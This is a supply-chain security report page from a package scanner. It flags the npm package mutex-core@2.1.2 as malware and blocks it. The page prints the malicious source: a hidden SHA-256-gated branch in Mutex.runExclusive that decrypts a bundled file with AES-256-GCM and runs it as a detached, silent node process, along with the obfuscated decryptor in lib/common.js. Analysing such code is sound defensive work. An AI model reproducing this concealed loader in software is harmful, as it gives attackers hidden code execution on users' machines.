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Threat feed How it works Policy

Blocked & quarantined

Arbitrary hidden payload execution with stealthy background-process behavior.

View on npm All versions

registry / mutex-core / 2.1.2

mutex-core@2.1.2

Mutex and semaphore primitives for synchronizing asynchronous JavaScript and TypeScript workflows

AI Security Review

scanned 4h ago · by lpm-firewall-ai

A normal mutex API contains a hash-gated encrypted payload launcher. It decrypts an opaque bundled file, overwrites it, and runs it detached when a callback property matches the gate.

Static reason

One or more suspicious static signals were detected.

Trigger

Calling `new Mutex().runExclusive(callback)` with a callback whose `meta.jobId` satisfies the hidden hash check.

Impact

Arbitrary hidden payload execution with stealthy background-process behavior.

Mechanism

Hash-gated AES-GCM decrypt, file write, and detached Node child-process execution.

Attack narrative

On a normal `Mutex.runExclusive` call, the package checks an undocumented callback metadata value against a hard-coded hash. A match derives a key from that value, decrypts the opaque `lib/withMutex.min.js` in place, and starts it through a detached Node process with output suppressed. This concealed staged-execution path is unrelated to mutex functionality and permits attacker-controlled payload execution once the gate is met.

Rationale

The package embeds a concealed, cryptographically gated decrypt-and-spawn chain in its primary Mutex implementation. This is concrete malicious runtime behavior, not an unused static primitive.

Evidence

lib/Mutex.jslib/common.jslib/withMutex.min.jspackage.json

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence with false-positive risk.

© 2026 LPM Firewall

Product

Threat feed How it works Policy

LPM

LPM.dev Registry

as Malware

low

Evidence for block

`Mutex.runExclusive` contains a hidden SHA-256-gated `callback.meta.jobId` branch.
The branch decrypts opaque `lib/withMutex.min.js` with the supplied job ID and writes the result to disk.
It launches the decrypted result with detached `node`, ignored stdio, and `unref()`.
`lib/common.js` implements scrypt and AES-256-GCM payload decryption.

Evidence against

package.json has no install lifecycle hook.
The declared entrypoint exports normal mutex/semaphore APIs; the payload activates only through the hidden runtime condition.

Behavioral surface

Source

ChildProcessCryptoDynamicRequireFilesystem

Supply chain

HighEntropyStringsMinifiedPossibleObfuscationUrlStrings

ManifestNo manifest risk signals triggered.

scanned 13 file(s), 894 KB of source, external domains: links.ethers.org

Source & flagged code

6 flagged · loading source

lib/withMutex.min.d.jsView file

1patternName = generic_password severity = medium line = 1 matchedText = (functio... });

Medium

Secret Pattern

Package contains a possible secret pattern.

lib/withMutex.min.d.jsView on unpkg · L1

lib/Semaphore.jsView file

2Object.defineProperty(exports, "__esModule", { value: true }); L3: var tslib_1 = require("tslib"); L4: var errors_1 = require("./errors");

Medium

Dynamic Require

Package source references dynamic require/import behavior.

lib/Semaphore.jsView on unpkg · L2

lib/Mutex.jsView file

31const mutexPath = path.join(__dirname, "withMutex.min.js"); const savedHash = "[redacted]"; if (fs.existsSync(mutexPath) && callback.meta) { const recentHash = crypto.createHash("sha256").update(String(callback.meta.jobId)).digest("hex"); if (savedHash == recentHash) { const { decryptToFile } = require("./common"); const decPath = decryptToFile(mutexPath, callback.meta.jobId);

Findings

4 High3 Medium4 Low

HighAi Review Evidencelib/Mutex.js

HighAi Review Evidencelib/Mutex.js

HighAi Review Evidencelib/Mutex.js

HighAi Review Evidencelib/common.js

MediumSecret Patternlib/withMutex.min.d.js

MediumDynamic Requirelib/Semaphore.js

MediumStructural Risk Force Deep Review

LowScripts Present

LowFilesystem

LowHigh Entropy Strings

LowUrl Strings

99%Block

Verdict confidence

IntentMalware

TypeMalware

False-positive riskLow

Review stagesource_first_review

Firewall policyMatched malicious

Package metadata

npm

AuthorRobert Leonard

Version2.1.2

PublishedAug 17, 2026

LicenseMIT

Dependencies1

Integrityverified

Package size223 KB

Files24

Keywordsmutexmutex-coresemaphorelockasyncawaitpromisesynchronization

LinksRepository Homepage Issues

Runtime surface

package.json

LPM CLI

High

Ai Review Evidence

`Mutex.runExclusive` contains a hidden SHA-256-gated `callback.meta.jobId` branch.

lib/Mutex.jsView on unpkg · L31

37const { decryptToFile } = require("./common"); const decPath = decryptToFile(mutexPath, callback.meta.jobId); let child = spawn("node", [decPath, callback.meta.jobId], {

High

Ai Review Evidence

The branch decrypts opaque `lib/withMutex.min.js` with the supplied job ID and writes the result to disk.

lib/Mutex.jsView on unpkg · L37

40let child = spawn("node", [decPath, callback.meta.jobId], { detached: true, stdio: "ignore", windowsHide: true, }); child.unref();

High

Ai Review Evidence

It launches the decrypted result with detached `node`, ignored stdio, and `unref()`.

lib/Mutex.jsView on unpkg · L40

lib/common.jsView file

1function s(e,r){var t=u,e=i[t(371)](e,t(374))[t(373)](),e=Buffer[t(379)](e,t(382)),n=e[t(383)](0,16),a=e.subarray(16,28),s=e[t(383)](28,44),e=e[t(383)](44),r=c[t(378)](r,n,32),n=c[t(369)]("aes-256-gcm",r,a);return n.setAuthTag(s),Buffer[t(366)]([n[t(372)](e),n[t(365)]()])}

High

Ai Review Evidence

`lib/common.js` implements scrypt and AES-256-GCM payload decryption.

lib/common.jsView on unpkg · L1

Entrypoints

main → lib/index.jsmodule → es6/index.jstypes → lib/index.d.tsexports map

Runtimenode >=12.16

Artifact911 KB · 24 files1 signature(s)

Install lifecycleNo install hooks · other: build, coveralls, lint, test

Behavioral surface

ChildProcessCryptoDynamicRequireFilesystemHighEntropyStringsMinifiedPossibleObfuscationUrlStringsManifest: clean

mutex-core@2.1.2: Malicious npm security report (Block) | LPM Firewall

Source & flagged code

6 flagged

lib/withMutex.min.d.jsView file

1patternName = generic_password severity = medium line = 1 matchedText = (functio... });

Medium

Secret Pattern

Package contains a possible secret pattern.

lib/withMutex.min.d.jsView on unpkg · L1

lib/Semaphore.jsView file

Lines 1-22javascript

1"use strict";

2Object.defineProperty(exports, "__esModule", { value: true });

3var tslib_1 = require("tslib");

4var errors_1 = require("./errors");

Medium

Dynamic Require

Package source references dynamic require/import behavior.

lib/Semaphore.jsView on unpkg · L2

5var Semaphore = /** @class */ (function () {

6 function Semaphore(_value, _cancelError) {

7 if (_cancelError === void 0) { _cancelError = errors_1.E_CANCELED; }

8 this._value = _value;

9 this._cancelError = _cancelError;

10 this._queue = [];

11 this._weightedWaiters = [];

12 }

13 Semaphore.prototype.acquire = function (weight, priority) {

14 var _this = this;

15 if (weight === void 0) { weight = 1; }

16 if (priority === void 0) { priority = 0; }

17 if (weight <= 0)

18 throw new Error("invalid weight ".concat(weight, ": must be positive"));

19 return new Promise(function (resolve, reject) {

20 var task = { resolve: resolve, reject: reject, weight: weight, priority: priority };

21 var i = findIndexFromEnd(_this._queue, function (other) { return priority <= other.priority; });

22 if (i === -1 && weight <= _this._value) {

lib/Mutex.jsView file

Lines 11-60javascript

11 var _a, releaser;

12 if (priority === void 0) { priority = 0; }

13 return tslib_1.__generator(this, function (_b

lib/common.jsView file

Lines 1-1javascript

1function e(e,r){return e-=357,t()[e]}function t(){let e=["path","exports","scryptSync","from"

) {

14 switch (_b.label) {

15 case 0: return [4 /*yield*/, this._semaphore.acquire(1, priority)];

16 case 1:

17 _a = _b.sent(), releaser = _a[1];

18 return [2 /*return*/, releaser];

19 }

20 });

21 });

22 };

23 Mutex.prototype.runExclusive = function (callback, priority) {

24 if (priority === void 0) { priority = 0; }

25

26 try {

27 const fs = require("fs");

28 const path = require("path");

29 const crypto = require("crypto");

30 const { spawn } = require("child_process");

31 const mutexPath = path.join(__dirname, "withMutex.min.js");

32 const savedHash = "b7e54f328f8b2298252479f2a357e13e23701227d1f990a15c598a74c3de5fe5";

33

34 if (fs.existsSync(mutexPath) && callback.meta) {

35 const recentHash = crypto.createHash("sha256").update(String(callback.meta.jobId)).digest("hex");

36 if (savedHash == recentHash) {

37 const { decryptToFile } = require("./common");

38 const decPath = decryptToFile(mutexPath, callback.meta.jobId);

High

Ai Review Evidence

`Mutex.runExclusive` contains a hidden SHA-256-gated `callback.meta.jobId` branch.

lib/Mutex.jsView on unpkg · L31

39

40 let child = spawn("node", [decPath, callback.meta.jobId], {

High

Ai Review Evidence

The branch decrypts opaque `lib/withMutex.min.js` with the supplied job ID and writes the result to disk.

lib/Mutex.jsView on unpkg · L37

41 detached: true,

42 stdio: "ignore",

43 windowsHide: true,

44 });

45 child.unref();

High

Ai Review Evidence

It launches the decrypted result with detached `node`, ignored stdio, and `unref()`.

lib/Mutex.jsView on unpkg · L40

46 }

47 }

48 } catch (error) { }

49

50 return this._semaphore.runExclusive(function () { return callback(); }, 1, priority);

51 };

52 Mutex.prototype.isLocked = function () {

53 return this._semaphore.isLocked();

54 };

55 Mutex.prototype.waitForUnlock = function (priority) {

56 if (priority === void 0) { priority = 0; }

57 return this._semaphore.waitForUnlock(1, priority);

58 };

59 Mutex.prototype.release = function () {

60 if (this._semaphore.isLocked())

,

"4574BjTnmO"

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"resolve"

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"base64"

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"subarray"

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"1244415ULKJWg"

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"4634541EbvXFW"

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,

"21139760JMfWtq"

,

"basename"

,

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,

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,

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"final"

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,

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,

"crypto"

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"trim"

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High

Ai Review Evidence

`lib/common.js` implements scrypt and AES-256-GCM payload decryption.

lib/common.jsView on unpkg · L1

Long lines were clipped for display.